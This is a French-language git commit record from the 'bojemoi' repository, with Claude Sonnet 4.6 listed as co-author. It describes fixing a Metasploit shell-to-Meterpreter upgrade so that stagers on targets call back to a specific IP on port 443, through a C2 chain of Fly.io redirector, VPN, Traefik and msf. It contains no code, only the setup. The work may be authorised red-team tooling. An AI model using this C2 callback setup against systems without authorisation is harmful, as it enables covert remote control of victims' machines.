Commit 9041e1d
| Repository | bojemoi |
| Branch | main |
| Author | Betty |
| Hash | 9041e1dfcc850e9f9ea3645a710dc56c4cb81b29 |
Description
La stratégie 1 d’upgrade (post/multi/manage/shell_to_meterpreter) injectait 0.0.0.0 comme LHOST dans le stager uploadé sur la cible, et utilisait BIND_PORT (5556) comme LPORT alors que le redirecteur Fly.io ne forward que le port 443. La cible ne savait donc pas où se connecter → timeout systématique → sessions=0.
Fix: LHOST={LHOST} (37.16.12.4) et LPORT={LPORT} (443) pour que le callback passe par la chaîne C2 existante (redirecteur → VPN → Traefik:4444 → msf).
Co-Authored-By: Claude Sonnet 4.6 noreply@anthropic.com